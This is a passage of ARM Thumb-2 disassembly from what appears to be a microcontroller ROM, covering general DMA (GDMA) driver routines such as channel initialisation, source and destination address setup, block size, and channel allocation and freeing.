<GDMA_INTConfig+0xf0> 10101f5a: f8d4 2330 ldr.w r2, [r4, #816] ; 0x330 10101f5e: 4013 ands r3, r2 10101f60: f8c4 3330 str.w r3, [r4, #816] ; 0x330 10101f64: bdf8 pop {r3, r4, r5, r6, r7, pc} 10101f66: f44f 71b7 mov.w r1, #366 ; 0x16e 10101f6a: 4807 ldr r0, [pc, #28] ; (10101f88 <GDMA_INTConfig+0x114>) 10101f6c: f7fe fc80 bl 10100870 <io_assert_failed> 10101f70: e792 b.n 10101e98 <GDMA_INTConfig+0x24> 10101f72: f240 116d movw r1, #365 ; 0x16d 10101f76: 4804 ldr r0, [pc, #16] ; (10101f88 <GDMA_INTConfig+0x114>) 10101f78: f7fe fc7a bl 10100870 <io_assert_failed> 10101f7c: e78a b.n 10101e94 <GDMA_INTConfig+0x20> 10101f7e: bf00 nop 10101f80: 101003f5 .word 0x101003f5 10101f84: 5002a000 .word 0x5002a000 10101f88: 101d5094 .word 0x101d5094 10101f8c: 4002a000 .word 0x4002a000 10101f90 <GDMA_Cmd>: 10101f90: b5f8 push {r3, r4, r5, r6, r7, lr} 10101f92: 4f15 ldr r7, [pc, #84] ; (10101fe8 <GDMA_Cmd+0x58>) 10101f94: 4b15 ldr r3, [pc, #84] ; (10101fec <GDMA_Cmd+0x5c>) 10101f96: e843 f300 tt r3, r3 10101f9a: f413 0f80 tst.w r3, #4194304 ; 0x400000 10101f9e: 4c14 ldr r4, [pc, #80] ; (10101ff0 <GDMA_Cmd+0x60>) 10101fa0: 460d mov r5, r1 10101fa2: 4616 mov r6, r2 10101fa4: bf18 it ne 10101fa6: 463c movne r4, r7 10101fa8: b980 cbnz r0, 10101fcc <GDMA_Cmd+0x3c> 10101faa: 2d05 cmp r5, #5 10101fac: d815 bhi.n 10101fda <GDMA_Cmd+0x4a> 10101fae: 2101 movs r1, #1 10101fb0: f105 0308 add.w r3, r5, #8 10101fb4: 428e cmp r6, r1 10101fb6: fa01 f303 lsl.w r3, r1, r3 10101fba: bf0b itete eq 10101fbc: fa06 f105 lsleq.w r1, r6, r5 10101fc0: 40a9 lslne r1, r5 10101fc2: 430b orreq r3, r1 10101fc4: 438b bicne r3, r1 10101fc6: f8c4 33a0 str.w r3, [r4, #928] ; 0x3a0 10101fca: bdf8 pop {r3, r4, r5, r6, r7, pc} 10101fcc: f44f 71da mov.w r1, #436 ; 0x1b4 10101fd0: 4808 ldr r0, [pc, #32] ; (10101ff4 <GDMA_Cmd+0x64>) 10101fd2: f7fe fc4d bl 10100870 <io_assert_failed> 10101fd6: 2d05 cmp r5, #5 10101fd8: d9e9 bls.n 10101fae <GDMA_Cmd+0x1e> 10101fda: f240 11b5 movw r1, #437 ; 0x1b5 10101fde: 4805 ldr r0, [pc, #20] ; (10101ff4 <GDMA_Cmd+0x64>) 10101fe0: f7fe fc46 bl 10100870 <io_assert_failed> 10101fe4: e7e3 b.n 10101fae <GDMA_Cmd+0x1e> 10101fe6: bf00 nop 10101fe8: 5002a000 .word 0x5002a000 10101fec: 101003f5 .word 0x101003f5 10101ff0: 4002a000 .word 0x4002a000 10101ff4: 101d5088 .word 0x101d5088 10101ff8 <GDMA_Init>: 10101ff8: 2301 movs r3, #1 10101ffa: e92d 43f0 stmdb sp!, {r4, r5, r6, r7, r8, r9, lr} 10101ffe: 4614 mov r4, r2 10102000: f101 0908 add.w r9, r1, #8 10102004: fa03 f909 lsl.w r9, r3, r9 10102008: 4a47 ldr r2, [pc, #284] ; (10102128 <GDMA_Init+0x130>) 1010200a: 408b lsls r3, r1 1010200c: f8b4 8028 ldrh.w r8, [r4, #40] ; 0x28 10102010: ea49 0903 orr.w r9, r9, r3 10102014: 4b45 ldr r3, [pc, #276] ; (1010212c <GDMA_Init+0x134>) 10102016: e843 f300 tt r3, r3 1010201a: f413 0f80 tst.w r3, #4194304 ; 0x400000 1010201e: 4e44 ldr r6, [pc, #272] ; (10102130 <GDMA_Init+0x138>) 10102020: b083 sub sp, #12 10102022: 460d mov r5, r1 10102024: bf18 it ne 10102026: 4616 movne r6, r2 10102028: 4607 mov r7, r0 1010202a: 2800 cmp r0, #0 1010202c: d172 bne.n 10102114 <GDMA_Init+0x11c> 1010202e: 2d05 cmp r5, #5 10102030: d86b bhi.n 1010210a <GDMA_Init+0x112> 10102032: 6d23 ldr r3, [r4, #80] ; 0x50 10102034: 2b00 cmp r3, #0 10102036: d060 beq.n 101020fa <GDMA_Init+0x102> 10102038: 2358 movs r3, #88 ; 0x58 1010203a: fb03 6305 mla r3, r3, r5, r6 1010203e: 6c5a ldr r2, [r3, #68] ; 0x44 10102040: f022 0208 bic.w r2, r2, #8 10102044: 645a str r2, [r3, #68] ; 0x44 10102046: 2301 movs r3, #1 10102048: f8c6 3398 str.w r3, [r6, #920] ; 0x398 1010204c: f8d6 33a0 ldr.w r3, [r6, #928] ; 0x3a0 10102050: ea19 0f03 tst.w r9, r3 10102054: d008 beq.n 10102068 <GDMA_Init+0x70> 10102056: 4b37 ldr r3, [pc, #220] ; (10102134 <GDMA_Init+0x13c>) 10102058: 685b ldr r3, [r3, #4] 1010205a: 075b lsls r3, r3, #29 1010205c: d45f bmi.n 1010211e <GDMA_Init+0x126> 1010205e: 2200 movs r2, #0 10102060: 4629 mov r1, r5 10102062: 4638 mov r0, r7 10102064: 4b34 ldr r3, [pc, #208] ; (10102138 <GDMA_Init+0x140>) 10102066: 4798 blx r3 10102068: 4629 mov r1, r5 1010206a: 4638 mov r0, r7 1010206c: 4b33 ldr r3, [pc, #204] ; (1010213c <GDMA_Init+0x144>) 1010206e: 4798 blx r3 10102070: 2058 movs r0, #88 ; 0x58 10102072: fb00 f005 mul.w r0, r0, r5 10102076: f104 0208 add.w r2, r4, #8 1010207a: ca0c ldmia r2, {r2, r3} 1010207c: 011b lsls r3, r3, #4 1010207e: 6921 ldr r1, [r4, #16] 10102080: ea43 0342 orr.w r3, r3, r2, lsl #1 10102084: f043 0301 orr.w r3, r3, #1 10102088: 6962 ldr r2, [r4, #20] 1010208a: ea43 13c1 orr.w r3, r3, r1, lsl #7 1010208e: 69a1 ldr r1, [r4, #24] 10102090: ea43 2342 orr.w r3, r3, r2, lsl #9 10102094: 69e2 ldr r2, [r4, #28] 10102096: ea43 23c1 orr.w r3, r3, r1, lsl #11 1010209a: 6861 ldr r1, [r4, #4] 1010209c: ea43 3382 orr.w r3, r3, r2, lsl #14 101020a0: 6ba2 ldr r2, [r4, #56] ; 0x38 101020a2: ea43 5301 orr.w r3, r3, r1, lsl #20 101020a6: 6be1 ldr r1, [r4, #60] ; 0x3c 101020a8: ea43 63c2 orr.w r3, r3, r2, lsl #27 101020ac: ea43 7e01 orr.w lr, r3, r1, lsl #28 101020b0: 6a23 ldr r3, [r4, #32] 101020b2: 6a61 ldr r1, [r4, #36] ; 0x24 101020b4: f3c8 020b ubfx r2, r8, #0, #12 101020b8: 5033 str r3, [r6, r0] 101020ba: 4406 add r6, r0 101020bc: 60b1 str r1, [r6, #8] 101020be: f8c6 e018 str.w lr, [r6, #24] 101020c2: 61f2 str r2, [r6, #28] 101020c4: 6c61 ldr r1, [r4, #68] ; 0x44 101020c6: 6c73 ldr r3, [r6, #68] ; 0x44 101020c8: 9101 str r1, [sp, #4] 101020ca: 6c21 ldr r1, [r4, #64] ; 0x40 101020cc: 6b62 ldr r2, [r4, #52] ; 0x34 101020ce: f423 43ff bic.w r3, r3, #32640 ; 0x7f80 101020d2: 6b20 ldr r0, [r4, #48] ; 0x30 101020d4: ea43 13c1 orr.w r3, r3, r1, lsl #7 101020d8: 9901 ldr r1, [sp, #4] 101020da: 07d2 lsls r2, r2, #31 101020dc: ea42 7280 orr.w r2, r2, r0, lsl #30 101020e0: ea43 23c1 orr.w r3, r3, r1, lsl #11 101020e4: 6432 str r2, [r6, #64] ; 0x40 101020e6: 4638 mov r0, r7 101020e8: 6ae2 ldr r2, [r4, #44] ; 0x2c 101020ea: 4629 mov r1, r5 101020ec: 6473 str r3, [r6, #68] ; 0x44 101020ee: 4c14 ldr r4, [pc, #80] ; (10102140 <GDMA_Init+0x148>) 101020f0: 2301 movs r3, #1 101020f2: 47a0 blx r4 101020f4: b003 add sp, #12 101020f6: e8bd 83f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, pc} 101020fa: 2358 movs r3, #88 ; 0x58 101020fc: fb03 6305 mla r3, r3, r5, r6 10102100: 6c5a ldr r2, [r3, #68] ; 0x44 10102102: f042 0208 orr.w r2, r2, #8 10102106: 645a str r2, [r3, #68] ; 0x44 10102108: e79d b.n 10102046 <GDMA_Init+0x4e> 1010210a: 2162 movs r1, #98 ; 0x62 1010210c: 480d ldr r0, [pc, #52] ; (10102144 <GDMA_Init+0x14c>) 1010210e: f7fe fbaf bl 10100870 <io_assert_failed> 10102112: e78e b.n 10102032 <GDMA_Init+0x3a> 10102114: 2161 movs r1, #97 ; 0x61 10102116: 480b ldr r0, [pc, #44] ; (10102144 <GDMA_Init+0x14c>) 10102118: f7fe fbaa bl 10100870 <io_assert_failed> 1010211c: e787 b.n 1010202e <GDMA_Init+0x36> 1010211e: 480a ldr r0, [pc, #40] ; (10102148 <GDMA_Init+0x150>) 10102120: f7fe f968 bl 101003f4 <DiagPrintf> 10102124: e79b b.n 1010205e <GDMA_Init+0x66> 10102126: bf00 nop 10102128: 5002a000 .word 0x5002a000 1010212c: 101003f5 .word 0x101003f5 10102130: 4002a000 .word 0x4002a000 10102134: 1000000c .word 0x1000000c 10102138: 10101f91 .word 0x10101f91 1010213c: 10101da5 .word 0x10101da5 10102140: 10101e75 .word 0x10101e75 10102144: 101d5004 .word 0x101d5004 10102148: 101d437c .word 0x101d437c 1010214c <GDMA_ChCleanAutoReload>: 1010214c: b5f8 push {r3, r4, r5, r6, r7, lr} 1010214e: 4f1c ldr r7, [pc, #112] ; (101021c0 <GDMA_ChCleanAutoReload+0x74>) 10102150: 4b1c ldr r3, [pc, #112] ; (101021c4 <GDMA_ChCleanAutoReload+0x78>) 10102152: e843 f300 tt r3, r3 10102156: f413 0f80 tst.w r3, #4194304 ; 0x400000 1010215a: 4d1b ldr r5, [pc, #108] ; (101021c8 <GDMA_ChCleanAutoReload+0x7c>) 1010215c: 460c mov r4, r1 1010215e: 4616 mov r6, r2 10102160: bf18 it ne 10102162: 463d movne r5, r7 10102164: b990 cbnz r0, 1010218c <GDMA_ChCleanAutoReload+0x40> 10102166: 2c05 cmp r4, #5 10102168: d817 bhi.n 1010219a <GDMA_ChCleanAutoReload+0x4e> 1010216a: 2358 movs r3, #88 ; 0x58 1010216c: fb03 5304 mla r3, r3, r4, r5 10102170: 2e01 cmp r6, #1 10102172: 6c1b ldr r3, [r3, #64] ; 0x40 10102174: d01c beq.n 101021b0 <GDMA_ChCleanAutoReload+0x64> 10102176: 2258 movs r2, #88 ; 0x58 10102178: fb02 5404 mla r4, r2, r4, r5 1010217c: 2e02 cmp r6, #2 1010217e: bf0c ite eq 10102180: f023 4300 biceq.w r3, r3, #2147483648 ; 0x80000000 10102184: f023 4340 bicne.w r3, r3, #3221225472 ; 0xc0000000 10102188: 6423 str r3, [r4, #64] ; 0x40 1010218a: bdf8 pop {r3, r4, r5, r6, r7, pc} 1010218c: f240 11d9 movw r1, #473 ; 0x1d9 10102190: 480e ldr r0, [pc, #56] ; (101021cc <GDMA_ChCleanAutoReload+0x80>) 10102192: f7fe fb6d bl 10100870 <io_assert_failed> 10102196: 2c05 cmp r4, #5 10102198: d9e7 bls.n 1010216a <GDMA_ChCleanAutoReload+0x1e> 1010219a: f44f 71ed mov.w r1, #474 ; 0x1da 1010219e: 480b ldr r0, [pc, #44] ; (101021cc <GDMA_ChCleanAutoReload+0x80>) 101021a0: f7fe fb66 bl 10100870 <io_assert_failed> 101021a4: 2358 movs r3, #88 ; 0x58 101021a6: fb03 5304 mla r3, r3, r4, r5 101021aa: 2e01 cmp r6, #1 101021ac: 6c1b ldr r3, [r3, #64] ; 0x40 101021ae: d1e2 bne.n 10102176 <GDMA_ChCleanAutoReload+0x2a> 101021b0: 2258 movs r2, #88 ; 0x58 101021b2: fb02 5404 mla r4, r2, r4, r5 101021b6: f023 4380 bic.w r3, r3, #1073741824 ; 0x40000000 101021ba: 6423 str r3, [r4, #64] ; 0x40 101021bc: bdf8 pop {r3, r4, r5, r6, r7, pc} 101021be: bf00 nop 101021c0: 5002a000 .word 0x5002a000 101021c4: 101003f5 .word 0x101003f5 101021c8: 4002a000 .word 0x4002a000 101021cc: 101d50a4 .word 0x101d50a4 101021d0 <GDMA_SetSrcAddr>: 101021d0: b5f8 push {r3, r4, r5, r6, r7, lr} 101021d2: 4f0f ldr r7, [pc, #60] ; (10102210 <GDMA_SetSrcAddr+0x40>) 101021d4: 4b0f ldr r3, [pc, #60] ; (10102214 <GDMA_SetSrcAddr+0x44>) 101021d6: e843 f300 tt r3, r3 101021da: f413 0f80 tst.w r3, #4194304 ; 0x400000 101021de: 4c0e ldr r4, [pc, #56] ; (10102218 <GDMA_SetSrcAddr+0x48>) 101021e0: 460d mov r5, r1 101021e2: 4616 mov r6, r2 101021e4: bf18 it ne 101021e6: 463c movne r4, r7 101021e8: b958 cbnz r0, 10102202 <GDMA_SetSrcAddr+0x32> 101021ea: 2d05 cmp r5, #5 101021ec: d904 bls.n 101021f8 <GDMA_SetSrcAddr+0x28> 101021ee: f44f 71fe mov.w r1, #508 ; 0x1fc 101021f2: 480a ldr r0, [pc, #40] ; (1010221c <GDMA_SetSrcAddr+0x4c>) 101021f4: f7fe fb3c bl 10100870 <io_assert_failed> 101021f8: 2158 movs r1, #88 ; 0x58 101021fa: fb01 f105 mul.w r1, r1, r5 101021fe: 5066 str r6, [r4, r1] 10102200: bdf8 pop {r3, r4, r5, r6, r7, pc} 10102202: f240 11fb movw r1, #507 ; 0x1fb 10102206: 4805 ldr r0, [pc, #20] ; (1010221c <GDMA_SetSrcAddr+0x4c>) 10102208: f7fe fb32 bl 10100870 <io_assert_failed> 1010220c: e7ed b.n 101021ea <GDMA_SetSrcAddr+0x1a> 1010220e: bf00 nop 10102210: 5002a000 .word 0x5002a000 10102214: 101003f5 .word 0x101003f5 10102218: 4002a000 .word 0x4002a000 1010221c: 101d5078 .word 0x101d5078 10102220 <GDMA_GetSrcAddr>: 10102220: 4a0e ldr r2, [pc, #56] ; (1010225c <GDMA_GetSrcAddr+0x3c>) 10102222: b538 push {r3, r4, r5, lr} 10102224: 4b0e ldr r3, [pc, #56] ; (10102260 <GDMA_GetSrcAddr+0x40>) 10102226: e843 f300 tt r3, r3 1010222a: f413 0f80 tst.w r3, #4194304 ; 0x400000 1010222e: 4c0d ldr r4, [pc, #52] ; (10102264 <GDMA_GetSrcAddr+0x44>) 10102230: 460d mov r5, r1 10102232: bf18 it ne 10102234: 4614 movne r4, r2 10102236: b958 cbnz r0, 10102250 <GDMA_GetSrcAddr+0x30> 10102238: 2d05 cmp r5, #5 1010223a: d904 bls.n 10102246 <GDMA_GetSrcAddr+0x26> 1010223c: f240 2112 movw r1, #530 ; 0x212 10102240: 4809 ldr r0, [pc, #36] ; (10102268 <GDMA_GetSrcAddr+0x48>) 10102242: f7fe fb15 bl 10100870 <io_assert_failed> 10102246: 2158 movs r1, #88 ; 0x58 10102248: fb01 f105 mul.w r1, r1, r5 1010224c: 5860 ldr r0, [r4, r1] 1010224e: bd38 pop {r3, r4, r5, pc} 10102250: f240 2111 movw r1, #529 ; 0x211 10102254: 4804 ldr r0, [pc, #16] ; (10102268 <GDMA_GetSrcAddr+0x48>) 10102256: f7fe fb0b bl 10100870 <io_assert_failed> 1010225a: e7ed b.n 10102238 <GDMA_GetSrcAddr+0x18> 1010225c: 5002a000 .word 0x5002a000 10102260: 101003f5 .word 0x101003f5 10102264: 4002a000 .word 0x4002a000 10102268: 101d4fd4 .word 0x101d4fd4 1010226c <GDMA_GetDstAddr>: 1010226c: 4a0e ldr r2, [pc, #56] ; (101022a8 <GDMA_GetDstAddr+0x3c>) 1010226e: b538 push {r3, r4, r5, lr} 10102270: 4b0e ldr r3, [pc, #56] ; (101022ac <GDMA_GetDstAddr+0x40>) 10102272: e843 f300 tt r3, r3 10102276: f413 0f80 tst.w r3, #4194304 ; 0x400000 1010227a: 4d0d ldr r5, [pc, #52] ; (101022b0 <GDMA_GetDstAddr+0x44>) 1010227c: 460c mov r4, r1 1010227e: bf18 it ne 10102280: 4615 movne r5, r2 10102282: b958 cbnz r0, 1010229c <GDMA_GetDstAddr+0x30> 10102284: 2c05 cmp r4, #5 10102286: d904 bls.n 10102292 <GDMA_GetDstAddr+0x26> 10102288: f44f 710a mov.w r1, #552 ; 0x228 1010228c: 4809 ldr r0, [pc, #36] ; (101022b4 <GDMA_GetDstAddr+0x48>) 1010228e: f7fe faef bl 10100870 <io_assert_failed> 10102292: 2358 movs r3, #88 ; 0x58 10102294: fb03 5404 mla r4, r3, r4, r5 10102298: 68a0 ldr r0, [r4, #8] 1010229a: bd38 pop {r3, r4, r5, pc} 1010229c: f240 2127 movw r1, #551 ; 0x227 101022a0: 4804 ldr r0, [pc, #16] ; (101022b4 <GDMA_GetDstAddr+0x48>) 101022a2: f7fe fae5 bl 10100870 <io_assert_failed> 101022a6: e7ed b.n 10102284 <GDMA_GetDstAddr+0x18> 101022a8: 5002a000 .word 0x5002a000 101022ac: 101003f5 .word 0x101003f5 101022b0: 4002a000 .word 0x4002a000 101022b4: 101d4fe4 .word 0x101d4fe4 101022b8 <GDMA_SetDstAddr>: 101022b8: b5f8 push {r3, r4, r5, r6, r7, lr} 101022ba: 4f0f ldr r7, [pc, #60] ; (101022f8 <GDMA_SetDstAddr+0x40>) 101022bc: 4b0f ldr r3, [pc, #60] ; (101022fc <GDMA_SetDstAddr+0x44>) 101022be: e843 f300 tt r3, r3 101022c2: f413 0f80 tst.w r3, #4194304 ; 0x400000 101022c6: 4d0e ldr r5, [pc, #56] ; (10102300 <GDMA_SetDstAddr+0x48>) 101022c8: 460c mov r4, r1 101022ca: 4616 mov r6, r2 101022cc: bf18 it ne 101022ce: 463d movne r5, r7 101022d0: b958 cbnz r0, 101022ea <GDMA_SetDstAddr+0x32> 101022d2: 2c05 cmp r4, #5 101022d4: d904 bls.n 101022e0 <GDMA_SetDstAddr+0x28> 101022d6: f240 213f movw r1, #575 ; 0x23f 101022da: 480a ldr r0, [pc, #40] ; (10102304 <GDMA_SetDstAddr+0x4c>) 101022dc: f7fe fac8 bl 10100870 <io_assert_failed> 101022e0: 2358 movs r3, #88 ; 0x58 101022e2: fb03 5404 mla r4, r3, r4, r5 101022e6: 60a6 str r6, [r4, #8] 101022e8: bdf8 pop {r3, r4, r5, r6, r7, pc} 101022ea: f240 213e movw r1, #574 ; 0x23e 101022ee: 4805 ldr r0, [pc, #20] ; (10102304 <GDMA_SetDstAddr+0x4c>) 101022f0: f7fe fabe bl 10100870 <io_assert_failed> 101022f4: e7ed b.n 101022d2 <GDMA_SetDstAddr+0x1a> 101022f6: bf00 nop 101022f8: 5002a000 .word 0x5002a000 101022fc: 101003f5 .word 0x101003f5 10102300: 4002a000 .word 0x4002a000 10102304: 101d4ff4 .word 0x101d4ff4 10102308 <GDMA_SetBlkSize>: 10102308: b5f8 push {r3, r4, r5, r6, r7, lr} 1010230a: 4f13 ldr r7, [pc, #76] ; (10102358 <GDMA_SetBlkSize+0x50>) 1010230c: 4b13 ldr r3, [pc, #76] ; (1010235c <GDMA_SetBlkSize+0x54>) 1010230e: e843 f300 tt r3, r3 10102312: f413 0f80 tst.w r3, #4194304 ; 0x400000 10102316: 4e12 ldr r6, [pc, #72] ; (10102360 <GDMA_SetBlkSize+0x58>) 10102318: 460c mov r4, r1 1010231a: 4615 mov r5, r2 1010231c: bf18 it ne 1010231e: 463e movne r6, r7 10102320: b998 cbnz r0, 1010234a <GDMA_SetBlkSize+0x42> 10102322: 2c05 cmp r4, #5 10102324: d904 bls.n 10102330 <GDMA_SetBlkSize+0x28> 10102326: f240 2157 movw r1, #599 ; 0x257 1010232a: 480e ldr r0, [pc, #56] ; (10102364 <GDMA_SetBlkSize+0x5c>) 1010232c: f7fe faa0 bl 10100870 <io_assert_failed> 10102330: 2358 movs r3, #88 ; 0x58 10102332: fb03 6404 mla r4, r3, r4, r6 10102336: 69e3 ldr r3, [r4, #28] 10102338: f423 637f bic.w r3, r3, #4080 ; 0xff0 1010233c: f3c5 050b ubfx r5, r5, #0, #12 10102340: f023 030f bic.w r3, r3, #15 10102344: 432b orrs r3, r5 10102346: 61e3 str r3, [r4, #28] 10102348: bdf8 pop {r3, r4, r5, r6, r7, pc} 1010234a: f240 2156 movw r1, #598 ; 0x256 1010234e: 4805 ldr r0, [pc, #20] ; (10102364 <GDMA_SetBlkSize+0x5c>) 10102350: f7fe fa8e bl 10100870 <io_assert_failed> 10102354: e7e5 b.n 10102322 <GDMA_SetBlkSize+0x1a> 10102356: bf00 nop 10102358: 5002a000 .word 0x5002a000 1010235c: 101003f5 .word 0x101003f5 10102360: 4002a000 .word 0x4002a000 10102364: 101d5020 .word 0x101d5020 10102368 <GDMA_GetBlkSize>: 10102368: 4a0f ldr r2, [pc, #60] ; (101023a8 <GDMA_GetBlkSize+0x40>) 1010236a: b538 push {r3, r4, r5, lr} 1010236c: 4b0f ldr r3, [pc, #60] ; (101023ac <GDMA_GetBlkSize+0x44>) 1010236e: e843 f300 tt r3, r3 10102372: f413 0f80 tst.w r3, #4194304 ; 0x400000 10102376: 4d0e ldr r5, [pc, #56] ; (101023b0 <GDMA_GetBlkSize+0x48>) 10102378: 460c mov r4, r1 1010237a: bf18 it ne 1010237c: 4615 movne r5, r2 1010237e: b968 cbnz r0, 1010239c <GDMA_GetBlkSize+0x34> 10102380: 2c05 cmp r4, #5 10102382: d904 bls.n 1010238e <GDMA_GetBlkSize+0x26> 10102384: f240 2173 movw r1, #627 ; 0x273 10102388: 480a ldr r0, [pc, #40] ; (101023b4 <GDMA_GetBlkSize+0x4c>) 1010238a: f7fe fa71 bl 10100870 <io_assert_failed> 1010238e: 2358 movs r3, #88 ; 0x58 10102390: fb03 5404 mla r4, r3, r4, r5 10102394: 69e0 ldr r0, [r4, #28] 10102396: f3c0 000b ubfx r0, r0, #0, #12 1010239a: bd38 pop {r3, r4, r5, pc} 1010239c: f240 2172 movw r1, #626 ; 0x272 101023a0: 4804 ldr r0, [pc, #16] ; (101023b4 <GDMA_GetBlkSize+0x4c>) 101023a2: f7fe fa65 bl 10100870 <io_assert_failed> 101023a6: e7eb b.n 10102380 <GDMA_GetBlkSize+0x18> 101023a8: 5002a000 .word 0x5002a000 101023ac: 101003f5 .word 0x101003f5 101023b0: 4002a000 .word 0x4002a000 101023b4: 101d5030 .word 0x101d5030 101023b8 <GDMA_ChnlRegister>: 101023b8: b538 push {r3, r4, r5, lr} 101023ba: 460c mov r4, r1 101023bc: 4605 mov r5, r0 101023be: b9a8 cbnz r0, 101023ec <GDMA_ChnlRegister+0x34> 101023c0: 2c05 cmp r4, #5 101023c2: d80d bhi.n 101023e0 <GDMA_ChnlRegister+0x28> 101023c4: 4a0c ldr r2, [pc, #48] ; (101023f8 <GDMA_ChnlRegister+0x40>) 101023c6: 5d53 ldrb r3, [r2, r5] 101023c8: fa43 f104 asr.w r1, r3, r4 101023cc: 07c9 lsls r1, r1, #31 101023ce: d405 bmi.n 101023dc <GDMA_ChnlRegister+0x24> 101023d0: 2001 movs r0, #1 101023d2: fa00 f404 lsl.w r4, r0, r4 101023d6: 431c orrs r4, r3 101023d8: 5554 strb r4, [r2, r5] 101023da: bd38 pop {r3, r4, r5, pc} 101023dc: 2000 movs r0, #0 101023de: bd38 pop {r3, r4, r5, pc} 101023e0: f240 2186 movw r1, #646 ; 0x286 101023e4: 4805 ldr r0, [pc, #20] ; (101023fc <GDMA_ChnlRegister+0x44>) 101023e6: f7fe fa43 bl 10100870 <io_assert_failed> 101023ea: e7eb b.n 101023c4 <GDMA_ChnlRegister+0xc> 101023ec: f240 2185 movw r1, #645 ; 0x285 101023f0: 4802 ldr r0, [pc, #8] ; (101023fc <GDMA_ChnlRegister+0x44>) 101023f2: f7fe fa3d bl 10100870 <io_assert_failed> 101023f6: e7e3 b.n 101023c0 <GDMA_ChnlRegister+0x8> 101023f8: 10000098 .word 0x10000098 101023fc: 101d5064 .word 0x101d5064 10102400 <GDMA_ChnlUnRegister>: 10102400: b538 push {r3, r4, r5, lr} 10102402: 460d mov r5, r1 10102404: 4604 mov r4, r0 10102406: b970 cbnz r0, 10102426 <GDMA_ChnlUnRegister+0x26> 10102408: 2d05 cmp r5, #5 1010240a: d904 bls.n 10102416 <GDMA_ChnlUnRegister+0x16> 1010240c: f240 219a movw r1, #666 ; 0x29a 10102410: 4808 ldr r0, [pc, #32] ; (10102434 <GDMA_ChnlUnRegister+0x34>) 10102412: f7fe fa2d bl 10100870 <io_assert_failed> 10102416: 2301 movs r3, #1 10102418: 4a07 ldr r2, [pc, #28] ; (10102438 <GDMA_ChnlUnRegister+0x38>) 1010241a: 5d11 ldrb r1, [r2, r4] 1010241c: 40ab lsls r3, r5 1010241e: ea21 0103 bic.w r1, r1, r3 10102422: 5511 strb r1, [r2, r4] 10102424: bd38 pop {r3, r4, r5, pc} 10102426: f240 2199 movw r1, #665 ; 0x299 1010242a: 4802 ldr r0, [pc, #8] ; (10102434 <GDMA_ChnlUnRegister+0x34>) 1010242c: f7fe fa20 bl 10100870 <io_assert_failed> 10102430: e7ea b.n 10102408 <GDMA_ChnlUnRegister+0x8> 10102432: bf00 nop 10102434: 101d50dc .word 0x101d50dc 10102438: 10000098 .word 0x10000098 1010243c <GDMA_ChnlAlloc>: 1010243c: e92d 47f0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, lr} 10102440: 4c1d ldr r4, [pc, #116] ; (101024b8 <GDMA_ChnlAlloc+0x7c>) 10102442: 6925 ldr r5, [r4, #16] 10102444: 4c1d ldr r4, [pc, #116] ; (101024bc <GDMA_ChnlAlloc+0x80>) 10102446: e844 f400 tt r4, r4 1010244a: f414 0f80 tst.w r4, #4194304 ; 0x400000 1010244e: 460f mov r7, r1 10102450: 4690 mov r8, r2 10102452: 4699 mov r9, r3 10102454: bf18 it ne 10102456: 2502 movne r5, #2 10102458: 4682 mov sl, r0 1010245a: b970 cbnz r0, 1010247a <GDMA_ChnlAlloc+0x3e> 1010245c: 2400 movs r4, #0 1010245e: 4b18 ldr r3, [pc, #96] ; (101024c0 <GDMA_ChnlAlloc+0x84>) 10102460: f813 000a ldrb.w r0, [r3, sl] 10102464: fa40 f104 asr.w r1, r0, r4 10102468: 07cb lsls r3, r1, #31 1010246a: d50c bpl.n 10102486 <GDMA_ChnlAlloc+0x4a> 1010246c: 3401 adds r4, #1 1010246e: 2c06 cmp r4, #6 10102470: d1f8 bne.n 10102464 <GDMA_ChnlAlloc+0x28> 10102472: 26ff movs r6, #255 ; 0xff 10102474: 4630 mov r0, r6 10102476: e8bd 87f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, pc} 1010247a: f240 21b3 movw r1, #691 ; 0x2b3 1010247e: 4811 ldr r0, [pc, #68] ; (101024c4 <GDMA_ChnlAlloc+0x88>) 10102480: f7fe f9f6 bl 10100870 <io_assert_failed> 10102484: e7ea b.n 1010245c <GDMA_ChnlAlloc+0x20> 10102486: b2e6 uxtb r6, r4 10102488: 4631 mov r1, r6 1010248a: fa5f f08a uxtb.w r0, sl 1010248e: 4b0e ldr r3, [pc, #56] ; (101024c8 <GDMA_ChnlAlloc+0x8c>) 10102490: 4798 blx r3 10102492: b2ed uxtb r5, r5 10102494: 4b0d ldr r3, [pc, #52] ; (101024cc <GDMA_ChnlAlloc+0x90>) 10102496: eb05 0545 add.w r5, r5, r5, lsl #1 1010249a: eb03 0545 add.w r5, r3, r5, lsl #1 1010249e: 5d2c ldrb r4, [r5, r4] 101024a0: 464b mov r3, r9 101024a2: 4642 mov r2, r8 101024a4: 4621 mov r1, r4 101024a6: 4638 mov r0, r7 101024a8: 4d09 ldr r5, [pc, #36] ; (101024d0 <GDMA_ChnlAlloc+0x94>) 101024aa: 47a8 blx r5 101024ac: 4620 mov r0, r4 101024ae: 4b09 ldr r3, [pc, #36] ; (101024d4 <GDMA_ChnlAlloc+0x98>) 101024b0: 4798 blx r3 101024b2: 4630 mov r0, r6 101024b4: e8bd 87f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, pc} 101024b8: 48006000 .word 0x48006000 101024bc: 101003f5 .word 0x101003f5 101024c0: 10000098 .word 0x10000098 101024c4: 101d50bc .word 0x101d50bc 101024c8: 101023b9 .word 0x101023b9 101024cc: 101d4008 .word 0x101d4008 101024d0: 10106aa9 .word 0x10106aa9 101024d4: 101069b9 .word 0x101069b9 101024d8 <GDMA_ChnlFree>: 101024d8: 4b1b ldr r3, [pc, #108] ; (10102548 <GDMA_ChnlFree+0x70>) 101024da: b570 push {r4, r5, r6, lr} 101024dc: 460d mov r5, r1 101024de: 691c ldr r4, [r3, #16] 101024e0: 4606 mov r6, r0 101024e2: bb58 cbnz r0, 1010253c <GDMA_ChnlFree+0x64> 101024e4: 2d05 cmp r5, #5 101024e6: d823 bhi.n 10102530 <GDMA_ChnlFree+0x58> 101024e8: 4b18 ldr r3, [pc, #96] ; (1010254c <GDMA_ChnlFree+0x74>) 101024ea: e843 f300 tt r3, r3 101024ee: 025b lsls r3, r3, #9 101024f0: d51c bpl.n 1010252c <GDMA_ChnlFree+0x54> 101024f2: 2258 movs r2, #88 ; 0x58 101024f4: 2302 movs r3, #2 101024f6: fb02 f205 mul.w r2, r2, r5 101024fa: f102 42a0 add.w r2, r2, #1342177280 ; 0x50000000 101024fe: f502 3228 add.w r2, r2, #172032 ; 0x2a000 10102502: 